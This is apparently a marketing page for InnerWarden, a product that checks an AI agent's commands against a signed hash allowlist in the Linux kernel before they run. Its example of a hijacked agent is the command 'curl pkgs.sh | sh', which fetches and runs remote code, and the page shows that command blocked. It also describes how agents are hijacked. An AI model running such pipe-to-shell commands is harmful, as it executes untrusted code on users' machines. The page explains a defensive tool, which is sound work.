Skip to content
How a command is decided

Before a command runs, it passes a gate the agent cannot control.

1 The person asks
prompt"Set up the new dependency and run the tests."
A person asks in plain language. No command yet.
→
2 The agent acts
agent (userspace)
$ curl pkgs.sh | sh
where a hijack has power
The agent turns intent into a command. This is the step an attacker can hijack.
→
3 InnerWarden decision
  • Rulesalways on
  • Learned behaviouropt-in
  • Local decisionon-device
  • Kernel gateby hash
Linux · armed · Pro & Enterprise
Checks what is allowed before it runs.
→
4 Outcomes
✓ Approved work
the kernel lets it run (Linux, armed)
$ npm test
Running…
✕ Not on the list
stopped before execution
$ curl pkgs.sh | sh
Blocked. -EPERM.
One verdict per attempt: allowed, or stopped.
Where it is barred
The agent cannot bypass this gate.

A command is only text until the kernel turns it into a running program. That step, the exec, happens in the kernel, below the agent. InnerWarden checks the program right there, on supported Linux, armed, Pro & Enterprise, so a blocked command never becomes a running binary. No one had to predict this attack: the gate runs the programs you approved and denies the rest.

all paths go through InnerWarden, and the kernel gate sits below where a hijack can reach
One story, three differentiators, one channel1The kernel gate2The graph & the layered decision3Models suggest, humans veto+Telegram, the pocket guard
the honest detail

The un-bypassable step is the kernel Execution Gate. When a program is about to run, the kernel loads it through its exec path; an eBPF LSM on bprm_check checks that program against a signed hash allowlist before it starts. Not on the list means -EPERM, denied at exec, below the agent, inside the agent's own cgroup, on supported Linux, armed, Pro & Enterprise. The rule screen is always on (Community) but reactive; the local model is opt-in. Mechanics verified against messaging/how-it-decides.md.